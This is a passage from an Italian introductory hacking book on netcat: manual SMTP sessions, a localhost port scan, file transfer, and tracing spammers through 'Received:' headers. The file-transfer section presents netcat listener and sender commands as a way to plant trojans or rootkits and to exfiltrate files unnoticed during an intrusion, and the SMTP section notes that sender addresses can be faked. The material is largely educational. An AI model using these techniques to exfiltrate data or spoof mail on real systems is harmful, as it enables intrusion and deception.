nc mail.pillolhacking.net -vv 25 dove mail.pillolhacking.net è l’indirizzo del server del dominio pillolhacking.net e 25 è la porta Tcp standard del protocollo smtp. In realtà mail.pillolhacking.net è un alias per m-04.th.seeweb.it.

3. Invia il comando di riconoscimento HELO

Se tutto è andato bene appare la scritta: m-04.th.seeweb.it [217.64.195.227] 25 (smtp) open

e noi ci presentiamo al server con il comando HELO. Il comando HELO necessi-ta di un parametro. In genere i client mettono il nome del computer. Si può met-tere qualsiasi stringa. In questo esempio metto il mio nick name:

HELO angelor il server risponde:

220 m-04.th.seeweb.it ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3 250 m-04.th.seeweb.it Hello [xxx.xxx.xxx.xxx], pleased to meet you Da notare che viene presentato il tipo di software utilizzato (Sendmail), la ver-sione (8.13.4) e il sistema operativo (Debian): informazioni preziose se volessi-mo pianificare un attacco. SMTP è un protocollo gentile, il server mi da il benvenuto: pleased to meet you.

4. Specificare l’indirizzo del mittente

Entriamo nel vivo. Bisogna specificare l’indirizzo del mittente. Lo facciamo con il comando MAIL FROM:

MAIL FROM: [email protected]

il server risponde: 250 2.1.0 [email protected]… Sender ok

Page 88: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

88

Naturalmente nessuno ci obbliga a mettere il nostro vero indirizzo email, ma è anche vero che nell’email inviata appararirà il nostro vero indirizzo Ip: chi voles-se fare scherzi è avvisato.

5. Specificare l’indirizzo del destinatario

Ora specifichiamo l’indirizzo email del destinatario con il comando RCPT TO:

RCPT TO: [email protected] 250 2.1.5 [email protected]… Recipient ok

Anche in questo caso tutto bene. Se avessi fornito un indirizzo non appartenente al dominio pillolhacking.net l’email sarebbe stata rifiutata.

6. Digitare il corpo dell’email

Per scrivere il corpo dell’email bisogna digitare il comando DATA, Tutto quello che viene digitato dopo questo comando apparirà nell’email una volta ricevuta dal destinatario. In pratica ci troviamo in una modalità editor, modalità dalla qua-le si esce digitando un punti (.) su di una riga vuota:

DATA 354 Enter mail, end with “.” on a line by itself

Cao, questa email l’ho scritta con netcat! . 250 2.0.0 x1ADG5zo125562 Message accepted for delivery

Una volta digitato il punto (e premuto return) l’email viene messa in coda e in-viata appena possibile (nel giro di pochi secondi in genere).

7. Uscire dalla sessione

Non rimane che congedarsi dal server concludendo la sessione. Basta digitare il comando QUIT: QUIT

221 2.0.0 m-04.th.seeweb.it closing connection

Provate con un indirizzo a vostra disposizione. Nel giro di pochi secondi vi ve-drete recapitare l’email.

Page 89: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

89

Netcat Come Scanner

Fino ad ora abbiamo visto come usare netcat per inviare e leggere email e come interrogare il web. Cose sicuramente interessanti ma che possono essere fatte anche con telnet.

Ma netcat si differenzia da telnet, può essere utilizzato anche per compiti più complessi di una connessione ad un servizio Tcp. A partire da questo articolo e nei prossimi vedremo degli esempi del potenziale di netcat.

Dicevamo, netcat come scanner. Certo non si può paragonare a nmap, ma nel suo piccolo può essere utile, per un veloce controllo delle porte Tcp di un host.

Vediamo come fare. Nell’esempio faccio una scansione del mio PC:

nc -vv -w2 127.0.0.1 130-140

questo comando effettua la scansione in sequenza delle porte Tcp da 130 a 140. Dell’opzione -vv ho già detto negli articoli precedenti; -w2 indica il tempo e-spresso in secondi di attesa della risposta; poi viene l’indirizzo Ip dell’host e la serie di porte. Ecco il risultato:

C:\Documents and Settings\angelor>nc -vv -w2 127.0.0.1 130-140 localhost [127.0.0.1] 140 (?): connection refused localhost [127.0.0.1] 139 (netbios-ssn): connection refused localhost [127.0.0.1] 138 (?): connection refused localhost [127.0.0.1] 137 (netbios-ns): connection refused localhost [127.0.0.1] 136 (?): connection refused localhost [127.0.0.1] 135 (epmap) open net timeout localhost [127.0.0.1] 134 (?): connection refused localhost [127.0.0.1] 133 (?): connection refused localhost [127.0.0.1] 132 (?): connection refused localhost [127.0.0.1] 131 (?): connection refused localhost [127.0.0.1] 130 (?): connection refused

Page 90: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

90

Trasferire File con Netcat

come usare netcat per trasferire file tra due computer tramite una rete Tcp/Ip.

Questa caratteristica di netcat può essere utile in diversi casi. Può essere il modo più semplice e veloce per passare file tra due computer senza dover attivare con-divisioni o installare servizi. Oppure durante un penetration test o durante un’intrusione può essere molto utile portare velocemente sul computer sotto at-tacco trojan, rootkit o altri strumenti; oppure può essere necessario esfiltrare file senza lasciare tracce nei log. Un altro punto forte di questa tecnica è la diffusione di netcat sulle macchine Unix/Linux. Se si deve portare dei file su un Linux in rete senza troppi problemi si può utilizzare netcat.

La tecnica è abbastanza semplice: si usano due netcat, uno sulla macchina sor-gente e uno sulla macchina di destinazione. Quest’ultimo avrà la funzione di server.

Netcat può agire come server. Questo significa che può mettersi “in ascolto” su di una porta Tcp e attendere una connessione. Per attivare questa funzione biso-gna specificare sulla riga di comando il parametro -l (listen) e specificare la porta (-p):

nc -l -p 9999 -vv > miofile

Questo comando mette netcat in ascolto sulla porta 9999; l’output viene reindi-rizzato al file miofile tramite il simbolo >.

Questo significa che tutto quello che netcat riceverà sulla rete attraverso la porta 9999 verra memorizzato in un file di nome miofile. Sia il valore della porta (in questo caso 9999), sia il nome del file (miofile), sono arbitrari, possono essere qualsiasi cosa.

Mentre sul server netcat “ascolta”, sulla macchina sorgente, ovvero sulla mac-china sulla quale è memorizzato il file da trasmettere al server, dovremo usare unnetcat in modalità client per inviare i dati del file da trasferire:

nc 127.0.0.1 9999 -vv < miofile

Con questo comando invio il file “miofile” tramite la redirezione dell’input otte-nuta con il simbolo < all’host 127.0.0.1, ovvero il computer sul quale netcat è in

Page 91: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

91

“ascolto”, sulla porta 9999. In questo esempio ho utilizzato l’indirizzo del com-puter locale (127.0.0.1), ma nella realtà naturalmente l’indirizzo dovrà coincidere con l’Ip reale del computer server. Ovvero se il computer sul quale netcat è in ascolto in modalità server è 192.168.0.1, nel netcat in modalità client dovrò indi-care proprio questo indirizzo.

Un’ultima considerazione: netcat non fornisce un indicatore di progresso del tra-sferimento in corso; per sapere quando il trasferimento stesso è terminato occorre controllare con il comando dir ols le dimensioni crescenti del file.

Page 92: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

92

La lettura degli header: fondamenti

Come avviene la trasmissione di un messaggio di e-mail

Quando si spedisce una e-mail da un computer ad un altro attraverso la rete, ciò che succede non è la semplice copia di un file di testo da un disco fisso ad un al-tro. La principale differenza è che, oltre ai due computer mittente e destinatario, ne sono coinvolti anche altri. Un primo computer che non si vede è quello ove ri-siede la casella del destinatario. Questo computer, che deve essere per quanto possibile sempre attivo e accessibile in rete, ha il compito di ricevere tutte le e-mail dirette agli utenti che hanno la casella su di esso e conservarle finché cia-scun destinatario, con suo comodo, non avrà provveduto a scaricarle. Spesso ci si riferisce a tale computer come POP server.

Il mittente, così come il destinatario, sul proprio computer dispone solamente di un client di posta elettronica, ossia un programma in grado di gestire un archivio di e-mail (in arrivo e in partenza), di scaricare la posta in arrivo da un POP server e spedire posta tramite protocollo SMTP. In teoria, il mail client del mittente potrebbe, tramite la rete, aprire una sessione direttemente con il POP server su cui risiede la casella del destinatario, ma ciò in genere non avviene per ragioni pratiche: è opportuno che il client sia configurato per parlare sempre con uno stesso server, demandando a questo il compito di contattare, attraverso la rete, il server del destinatario. Pertanto, è consuetudine di tutti i provider mettere a disposizione dei propri clienti anche un server della posta in partenza, di solito chiamato SMTP

server.Capita, in qualche caso, che POP server e SMTP server siano la stessa macchina: ciò è possibile in quanto i due servizi vengono svolti attraverso porte distinte. (25 SMTP ,110 POP-3) Sapendo questo, passiamo a vedere come è fatto un normale messaggio di e-mail e quali vicissitudini subisce, dal momento in cui il mail client del mittente lo immette in rete, al momento in cui viene con-segnato al mail client del destinatario.

Gli header di un messaggio di e-mail

Il mail client del mittente preparerà il messaggio in una forma di questo genere:

From: [email protected] (Mario Rossi) To: [email protected] Date: Wed, 15 Apr 2010 14:24:06 +0200 X-Mailer: Gorilla 3.2 (Win95; I) Subject: Richiesta informazioni sulle vs. iniziative

Page 93: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

93

Le sarei grato se mi facesse pervenire il programma delle gite per l'estate 2010, possibilmente completo dei relativi costi. Ringraziando porgo distinti saluti Mario Rossi

In questo esempio è importante osservare che, prima del testo del messaggio ve-ro e proprio, si hanno alcune righe scritte nella forma: nome-header: valore-testuale Ciascuna di queste righe è un header, e gli standard di rete prescrivono, tra le al-tre cose, i nomi degli header e la forma in cui deve essere espresso il corrispon-dente valore testuale.

Molti di questi header hanno una funzione evidente: From: e To:, per esempio, sono analoghi all'indirizzo del destinatario e del mittente che, quando si invia una lettera per posta ordinaria, usa scrivere in alto, prima del testo vero e proprio, nel foglio che si include nella busta. Si notano poi la data e ora di spedizione, espres-se in vari formati non del tutto comodi da leggere (è compito del mail client ef-fettuare tutte le conversioni). Quanto al campo X-Mailer:, l'esempio dice che, per preparare il messaggio, è stato usato un programma che si chiama "Gorilla" versione 3.2, con alcune altre informazioni secondarie. Per i campi con nomi del tipo X-qualunquecosa: non esistono standard: ogni mail client è libero di inventarsi tutti gli header X- che crede, e con essi comunicare qualunque tipo di informazione: il protocollo ha il compito di farli giungere a destinazione, ignorandoli per ogni altro effetto. La fine degli header è segnalata mediante una riga vuota (che in questo caso è posta dopo il campo Subject:). Il significato di tale riga vuota è quindi che gli header sono finiti e che tutto ciò che segue è il vero e proprio testo del messag-gio.

Esistono molti altri campi standard che i mail client potrebbero inserire (e spesso lo fanno). Tra questi si può ricordare il Reply-to:, nel quale è possibile indi-care un indirizzo di e-mail a cui inviare eventuali risposte, qualora questo debba essere preferibilmente diverso da quello indicato nel campo From:.

Dunque, il mail client prepara tutte le righe di testo, header e messaggio, come abbiamo visto sopra, e li passa al server SMTP prescelto. Prima però di vedere che tipo di viaggio fa il nostro testo, fermiamoci a riflettere su una cosa molto importante: chi mette gli header in testa al messaggio da trasmettere è, come ab-biamo detto, il mail client, ossia un programma in esecuzione sul computer del mittente. Tale programma è quindi sotto il completo controllo del mittente: que-sto sceglie quale programma adottare e come configurarlo. Anzi, potrebbe farsi realizzare da qualcuno un programma su misura per le sue esigenze (quando non

Page 94: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

94

farselo addirittura lui stesso). Questo in concreto cosa significa: che i valori for-niti in tutti quegli header non significano nulla. Normalmente nel campo From: il mittente mette il proprio vero indirizzo, perché normalmente non si manda spam, ma si comunica con qualcuno che si desidera possa rispondere. Lo spam-mer, nella maggior parte dei casi, non desidera affatto che le sue vittime gli pos-sano rispondere, quindi di solito se ne guarderà bene dal fornire un campo From: autentico. Anche il campo To: non ha valore, poiché non è in base al suo contenuto che si determina la destinazione del messaggio.

Non bisogna lasciarsi fuorviare dal contenuto del campo To:. Nel campo To: può benissimo essere stato impostato un indirizzo del tipo caroami-

[email protected] e, come vedremo tra poco, nonostante ciò il messaggio arri-verà regolarmente a tutti i destinatari prescelti. Vediamo, proprio a questo proposito, un esempio reale: qualche header di un messaggio di spam.

Date: Mon, 09 Feb 1998 23:27:13 -0500 (EST) From: [email protected] Subject: Important Message To: [email protected] Reply-To: [email protected] Message-Id: <<209.133.27.38> [email protected]> X-Pmflags: 6336476446536565465365 Comments: Authenticated sender is <Mail.INS.com> X-UIDL: <209.133.27.38> Thank-you, for visiting www.aaaaa.com. ....... Here is the information you requested. [eccetera]

Notiamo alcune cose. Tanto per incominciare il campo From:, in cui hanno messo un indirizzo di fantasia attestato niente meno che presso il mio stesso pro-vider; quanto al campo To:, compare un destinatario (probabilmente inesistente) presso una università americana. Probabilmente lo spammer mi vuole indurre a pensare che il messaggio sia giunto a me per errore; simili errori, però, nella real-tà della rete non si verificano. Ci sono poi vari header che non ci interessa discu-tere qui: nessuno di essi ha importanza. Vorrei far notare quello che dice: "Au-thenticated sender is ...": è tutto fumo negli occhi; quando vedete frasi tipo Au-thenticated sender o simili, non c'è proprio niente di autentico. Questo header, così come quello precedente (X-Pmflags:) viene inserito da Pegasus Mail, un famoso programma mail client. Non è detto però che questo messaggio sia effet-

Indirizzo di fantasia

Messaggio

Page 95: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

95

tivamente stato inviato usando Pegasus, più probabilmente è stato usato un client costruito apposta per spammer (ne esistono), che cerca di simulare l'uso di Pega-sus.Possiamo anche dare un'occhiata alle prime righe del messaggio: notate il tentativo di far passare l'e-mail come sollecitata ("grazie per aver visitato il no-stro sito", che io ovviamente non avevo visitato affatto, "ecco l'informazione che avevi richiesto" eccetera). Tutti questi trucchi non valgono nulla: l'importante è non farsene confondere.Quindi, di regola, lo spammer configurerà il proprio sof-tware in modo da nascondere il più possibile ogni sua traccia e, in molti casi, cercherà addirittura di inserire degli header fasulli per trarre in inganno chi cer-casse di individuarlo. Ma torniamo a noi. Il mail client del mittente apre una sessione sulla porta 25 del server SMTP. Ha luogo un dialogo come quello che segue; vediamo qui come al-ternativamente si susseguano le risposte del server e gli input forniti dal mail client. Le risposte ed i messaggi inviati dal server iniziano tutti con un codice numerico di tre cifre, seguito da uno spazio e da un testo che ne chiarisce il signi-ficato. Il codice numerico è comunque sufficiente, secondo gli standard, per in-dividuare univocamente il significato della riga e determinare quale debba essere il successivo passo del dialogo. Qualora il server dovesse segnalare un errore, emetterebbe una riga in cui il codice numerico inizierebbe con la cifra '5' (così stabiliscono gli standard). In astratto, comunque, il mittente potrebbe anche fare a meno del mail client: gli basterebbe collegarsi al server mediante telnet ed eseguire a mano tutto ciò che il mail client farebbe automaticamente. Sarebbe molto più scomodo ma possibile.

220 mail.prima-rete-esempio.com ESMTP server

(Post.Office v3.1.2 release (PO203-101c)...) ready

Wed, 15 Apr 1998 14:26:31 +0200 HELO mariorossi 250 mail.prima-rete-esempio.com MAIL FROM:<[email protected]> 250 Sender <[email protected]> Ok RCPT TO:<[email protected]> 250 Recipient <[email protected]> Ok DATA 354 Ok Send data ending with <CRLF>.<CRLF> From: [email protected] (Mario Rossi) To: [email protected] Date: Wed, 15 Apr 1998 14:24:06 +0200 X-Mailer: Gorilla 3.2 (Win95; I) Subject: Richiesta informazioni sulle vs. iniziative

Le sarei grato se mi facesse pervenire il pro-

gramma delle

Page 96: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

96

gite per l'estate 98, possibilmente completo dei

relativi costi. Ringraziando porgo distinti saluti Mario Rossi . 250 Message received:

[email protected]

esempio.com QUIT 221 mail.prima-rete-esempio.com ESMTP server

closing connection

Nota al comando MAIL. Quando un server, dopo aver accettato un messaggio, scoprisse che è impossibile consegnarlo, deve generare una email di avviso del-l'errore (il cosidetto bounce) e inviarlo all'indirizzo indicato nel parametro FROM: del comando MAIL. Per evitare, in caso di errore nella consegna del bounce, un nuovo bounce e così eventualmente una situazione di loop, è consue-tudine che, nel comando MAIL con cui sono inviati i messaggi di bounce, sia specificato FROM:<> È richiesto dagli standard, pertanto, che i server non considerino il parametro FROM: vuoto come un errore per causa del quale rifiutare un messaggio in arri-vo. Ora vediamo che fa il nostro SMTP server dopo aver accettato il messaggio per l'inoltro. Cercherà di contattare il mail server destinatario e, una volta riuscito a stabilire una sessione con esso, gli passerà il messaggio usando lo stesso identico meccanismo che abbiamo appena visto applicare da parte del mail client. Che succedesse questo, in effetti, potevamo aspettarcelo; la novità è che, al nuovo server, il messaggio non verrà passato identico a come era stato preparato dal mail client nel passo precedente: al messaggio verranno aggiunti nuovi header (generalmente un paio), per lasciare traccia del fatto che sia transitato da quel server. Vediamo come diventa:

Received: from mariorossi (ppp26-milano.prima-rete-esempio.com [194.188.15.26]) by mail.prima-rete-esempio.com (8.8.5/8.8.5) with SMTP id RU387493 for <[email protected]>; Wed, 15 Apr 1998 14:26:32 +0200 (METDST) From: [email protected] (Mario Rossi) To: [email protected] Date: Wed, 15 Apr 1998 14:24:06 +0200 Message-ID: <[email protected]> X-Mailer: Gorilla 3.2 (Win95; I)

Page 97: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

97

Subject: Richiesta informazioni sulle vs. iniziative

Il seguito del messaggio è tutto come prima.

Vediamo dunque che è stato inserito nel mezzo un header 'Message-ID:', mentre è stato inserito in testa un header 'Received:'.

Sul Message-ID non c'è molto da dire: è una specie di numero di matricola che accompagnerà il messaggio per tutta la vita. La forma usuale di questo cam-po è del tipo <una-qualsiasi-stringa@nome-host> e l'host che lo ge-nera ne deve solamente garantire l'unicità. Normalmente la stringa non ha alcun significato, pertanto ai fini che ci interessano questo campo non dà indicazioni utili.

Ben diverso è il discorso a proposito dell'header 'Received:': questo header ha finalmente un valore oggettivo, ed è ciò su cui dobbiamo contare per riuscire a individuare il nostro spammer. Aggiungendo l'header Received: il server che ha veicolato il messaggio dice, in sostanza: "questo messaggio l'ho trasportato io, che lo avevo ricevuto dal seguente indirizzo". A pensarci bene, è stato una fortu-na il fatto che, quando la rete nacque, fosse una rete militare: nell'impostazione architetturale e dei protocolli entrò così anche una speciale attenzione alla trac-

ciabilità degli eventi di rete, al fatto che si potesse individuare dove si erano ge-nerati e per dove erano passati. Così oggi abbiamo ottime possibilità di risalire allo spammer: i protocolli di rete stanno dalla nostra parte, e questo gli spammer sembrano non volerlo capire (peggio per loro!). Ma prendiamo in esame il nostro header Received:

Received: from mariorossi (ppp26-milano.prima-rete-esempio.com [194.188.15.26]) by mail.prima-rete-esempio.com (8.8.5/8.8.5) with SMTP id RU387493 for <[email protected]>; Wed, 15 Apr 1998 14:26:32 +0200 (METDST)

Il server che ha inserito l'header dichiara il proprio nome dopo la parola 'by'. Nel-la sostanza, l'header va letto come segue: "Questo messaggio è stato ricevuto su mail.prima-rete-esempio.com, proveniente da qualcuno che si è presentato come mariorossi e che comunque aveva l'indiriz-zo IP 194.188.15.26. Tale indirizzo risulta corrispondere alla risorsa di nome ppp26-milano.prima-rete-esempio.com" (Vedremo più avanti che cosa sia questo nome e come venga ricavato a partire dall'indirizzo IP.)

Page 98: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

98

Premesso che, a seconda di quale software sia in uso sul server, l'header potrebbe avere anche un aspetto leggermente diverso (cosa che, ovviamente, non ci sem-plifica la vita), la sintassi riportata nell'esempio è quella più facile a incontrarsi. Si noti che qui è presente una parola from non seguita dai due punti. Dopo que-sto from c'è il nome con cui chi ha passato il messaggio al server si è presentato, per mezzo del comando HELO. Quindi, se questo fosse un messaggio di spam e dovessimo scoprire da dove viene, potremmo ignorare tranquillamente il mario-

rossi indicato qui. Ciò che c'è tra parentesi è invece quel che si deve guardare: il server che ha messo questo header ci assicura di avere ricevuto il messaggio dal-la risorsa il cui indirizzo IP è indicato tra parentesi quadre, e di cui è dato anche il nome. Nell'esempio ho inventato sia il nome che l'indirizzo IP, ma è in effetti frequente vedere nomi che, da come sono composti, fanno capire che si tratta di connessioni dial-up. Con un nome come quello dell'esempio si potrà ipotizzare che l'utente in questione, per inviare il messaggio, si sia connesso al punto di ac-cesso di Milano del suo provider, che gli sia capitato il modem numero 26 e che, pertanto, gli sia stato assegnato l'indirizzo riportato lì. Tra le altre cose che vediamo qui c'è una serie di numeri tra parentesi tonde: (8.8.5/8.8.5). Questo ovviamente non è un indirizzo IP, ma solamente l'indica-zione della versione del software installato sul server. Poi c'è 'SMTP id RU387493'. Questo è un numero di serie che il server ha assegnato alla transa-zione di inoltro del messaggio in questione. Infine c'è l'indicazione del destinata-rio e la data/ora.

Ma non è finita. Il server vede che il dominio destinatario è 'seconda-rete-esempio.com' e, interrogato il DNS (di cui parleremo tra poco), scopre che il server a cui passare le e-mail dirette a quel dominio si chiama plutus.seconda-

rete-esempio.com. Ecco allora un altro passaggio, al termine del quale il nostro messaggio sarà diventato così:

Received: from prima-rete-esempio.com (mail.prima-rete-esempio.com [194.184.145.216]) by plutus.seconda-rete-esempio.com (8.8.5/8.8.5) with SMTP id GC502624 for <[email protected]>; Wed, 15 Apr 1998 14:27:15 +0200 (METDST) Received: from mariorossi (ppp26-milano.prima-rete-esempio.com [194.188.15.26]) by mail.prima-rete-esempio.com (8.8.5/8.8.5) with SMTP id RU387493 for <[email protected]>; Wed, 15 Apr 1998 14:26:32 +0200 (METDST) From: [email protected] (Mario Rossi) To: [email protected] Date: Wed, 15 Apr 1998 14:24:06 +0200 Message-ID: <[email protected]>

Page 99: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

99

X-Mailer: Gorilla 3.2 (Win95; I) Subject: Richiesta informazioni sulle vs. iniziative

Notate che il successivo server ad avere gestito il messaggio ha aggiunto il pro-prio 'Received:' in testa. Poniamo ora che la mailbox del destinatario sia su un al-tro server: occorre un ultimo passaggio. Il server su siamo giunti ora sarà confi-gurato in modo da passare il messaggio alla sua destinazione. Pure l'ultimo server aggiungerà il suo 'Received:', così quando finalmente il destinatario rice-verà la e-mail, si ritroverà qualcosa del genere:

Received: from plutus (plutus.seconda-rete-esempio.com [202.113.12.45]) by mbox-b.seconda-rete-esempio.com (8.8.3/8.7.5) with SMTP id WH755911 for <[email protected]>; Wed, 15 Apr 1998 14:27:18 +0200 (METDST) Received: from prima-rete-esempio.com (mail.prima-rete-esempio.com [194.184.145.216]) by plutus.seconda-rete-esempio.com (8.8.5/8.8.5) with SMTP id GC502624 for <[email protected]>; Wed, 15 Apr 1998 14:27:15 +0200 (METDST) Received: from mariorossi (ppp26-milano.prima-rete-esempio.com [194.188.15.26]) by mail.prima-rete-esempio.com (8.8.5/8.8.5) with SMTP id RU387493 for <[email protected]>; Wed, 15 Apr 1998 14:26:32 +0200 (METDST) From: [email protected] (Mario Rossi) To: [email protected] Date: Wed, 15 Apr 1998 14:24:06 +0200 Message-ID: <[email protected]> X-Mailer: Gorilla 3.2 (Win95; I) Subject: Richiesta informazioni sulle vs. iniziative

La morale di questa storia è che, quando si riceve una e-mail, gli unici header si-gnificativi per individuarne la provenienza sono i 'Received:'. Occorre trovare, nel proprio mail client, la modalità per visualizzare tutti gli header (che, normal-mente, non vengono presentati all'utente insieme al corpo del vero e proprio messaggio); quasi tutti i mail client comunque danno la possibilità di vedere gli header completi anche se, ovviamente, ognuno a modo proprio. Se il vostro client non vi desse la possibilità di visualizzare gli header completi, cambiatelo: non potreste fare nulla per difendervi dallo spam. (utilizzando Telnet si vedono comunque)Se ve li visualizza in forma alterata o comunque pasticciata (qualche mailreader lo fa nell'inopportuno tentativo di renderli più leggibili), sarebbe bene

Page 100: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

100

ugualmente cambiare client al fine di non avere inutili difficoltà nel lavoro di a-nalisi. L'ideale sarebbe un mailreader che consentisse di salvare o copiare in clipboard il messaggio completo ed in forma semplicemente testuale: tutti gli he-ader, la riga di separazione e il testo.

Una volta messi a nudo gli header, si inizierà a guardare i 'Received:' nell'ordine in cui compaiono (dall'alto al basso), il che equivale a percorrere la catena dei server a ritroso, dal ricevente fino al mittente.

E' bene quindi familiarizzare innanzitutto con i primi header che, venendo ag-giunti dai server su cui si trova la vostra mailbox, tenderanno ad avere una strut-tura abbastanza stabile nel tempo, salvo quando il fornitore della mailbox (in ge-nerale, ma non necessariamente, il vostro provider) cambiasse per varie ragioni la configurazione dei propri sistemi. Potreste quindi cominciare col prendere in esame qualche e-mail che vi sia stato "onestamente" spedito da sistemi e provi-der differenti da varie persone che conoscete. Confrontate gli header 'Received:' osservando fino a dove sono simili, da dove iniziano ad essere sensibilmente di-versi e come vanno a finire. Già, perchè la catena degli header è significativa so-prattutto verso la fine. L'esempio di prima era il più possibile lineare, ma si han-no spesso degli header diversi e non sempre semplici da interpretare. E' opportu-no abituarsi anche ad header 'Received:' non significativi inseriti da vari software che elaborano il messaggio lungo la strada. Per esempio, Qmail inserisce un 'Re-ceived:' giusto per dire "ci sono anch'io":

Received: (qmail 10377 invoked from network); 27 Nov 1998 17:57:28 +0100

Raccomanderei comunque che, prima di iniziare a ragionare su veri messaggi di spam, prendeste confidenza con ciò che si trova nelle e-mail regolari. Questo vi potrebbe aiutare a fare pratica sapendo già la soluzione.

In che modo vanno letti questi header ?

Abbiamo visto che parecchi header sono decisamente inattendibili perché ven-gono propagati così come li ha forniti il computer del mittente. Quelli però che vengono aggiunti dopo hanno la garanzia implicita da parte dei server che li han-no aggiunti, si tratta di capire caso per caso quanto ci si possa fidare di ciascun server. Per esempio, potrebbe essere che il primo server nella catena dei passaggi appartenesse pure lui allo spammer; l'header 'Received:' potrebbe in questo caso essere perfino corretto, ma non sarebbe molto interessante: se abbiamo trovato il server, a quel punto abbiamo trovato anche lo spammer, l'importante è solo ac-corgersene. Sembra strano? Beh, gli spammer meglio organizzati sono anche provider di sè stessi. Si possono pure avere dei casi in cui un normale utente con connessione dial-up, tanto per confondere le acque, tira su sul proprio pc un

Page 101: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

101

server SMTP: se ne trovano anche per Windows, addirittura qualcuno gratuito. All'altro estremo della catena abbiamo invece gli header messi dal nostro stesso provider, e questi vivaddio sono attendibili per forza.

Dopo che ho interpretato gli header, riesco a trovare il nome del mittente ?

Poniamo dunque di avere concluso con successo l'interpretazione degli header. Ciò di cui disponiamo è quindi un indirizzo IP: può essere l'indirizzo al quale si trovava il mittente o può essere l'indirizzo di un server dietro il quale il mittente si nascondeva. Inoltre potrebbe succedere, a seconda dei casi, che avessimo pure un indirizzo di email al quale si sia constatato che risponde il mittente (ovvero un qualche sconosciuto che si vorrebbe identificare).

Se prendiamo come punto di partenza l'indirizzo IP, quel che si riesce a fare

(come spiegato a pag 28) è identificare la rete alla quale quell'indirizzo è stato assegnato. Della rete in questione possiamo anche trovare, in molti casi, l'indiriz-zo, il telefono e i nomi dei responsabili. Nulla però possiamo sapere su chi siano i loro utenti. Se la rete in questione è un provider per l'utenza privata, è anche probabile che i suoi indirizzi IP siano assegnati agli utenti in maniera dinamica, ossia in modo che si succedano nel tempo vari utenti sullo stesso indirizzo. Il problema è che tutti questi dati, a voi, il provider non li dirà mai. Quindi in caso di molestie personali via email, se ritenete opportuno sporgere denuncia potete contare sul fatto che la magistratura è in grado di farsi dare il nome del molestatore (almeno se il provider in questione è italiano). Se non ci sono gli estremi per una denuncia, allora il mittente della mail resterà per forza anonimo.

Se avete un indirizzo di mail di cui vorreste identificare l'utilizzatore, il discorso non è molto diverso. La parte significativa, quella dopo la chiocciola, può farvi arrivare ad un server. Chi però acceda ad una certa casella che risiede su quel server, lo sa solo il provider che lo gestisce, al che (come direbbero i matematici) ricadiamo nel caso precedente.

La lettura degli header :falsificazioni da riconoscere

Lo spammer può falsificare gli header 'Received:' ?

Sì, ma eventuali header falsificati possono solo essere gli ultimi della catena. Lo spammer non può impedire che i computer successivi al suo nel trasportare il messaggio mettano i propri received. Quindi fino ad un certo punto la catena sarà corretta e attendibile, da quel certo punto potremo, in qualche caso, avere degli header falsificati, ossia costruiti in modo da assomigliare a header veri e messi lì

Page 102: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

102

per confondere le idee. Generalmente il punto in questione si può individuare: c'è sempre qualcosa che non torna se si esamina il tutto con attenzione.

L'indicazione della provenienza negli header 'Received:' esiste sempre ?

Teoricamente un server potrebbe anche non dichiarare chi è stato a passargli il messaggio. Quando questo avviene, siamo in presenza o di un anonymous re-

mailer . Esclusi quei pochi sistemi che deliberatamente operano in questo modo (e che comunque generalmente adottano soluzioni per evitare di lasciarsi abusare dagli spammer), la probabilità che organizzazioni serie abbiano un server confi-gurato male che faccia da remailer anonimo è praticamente nulla, visti i rischi niente affatto da ridere che correrebbero (pensate se qualcuno utilizzasse un server anonimo per perpetrare reati gravi, che so, mandare minacce di morte a qualcuno o cose del genere).

Per esempio, un Received come il seguente:

Received: from tyuyq by xx.xxxx.ac.za; (8.9.3/1.1.8.2/03Nov94-1202PM) id MAA22307; Sat, 12 Jun 1999 12:47:39 +0200 (GMT+0200)

indica un sendmail 8.9.3 (che per default dovrebbe produrre dei Received corret-ti) che, però, usa ancora il file di configurazione (sendmail.cf) versione 1.1.8.2, creato nel novembre 94. Come si vede, viene riportata solo la non significativa stringa 'tyuyq' che lo spammer ha inserito nel comando HELO.

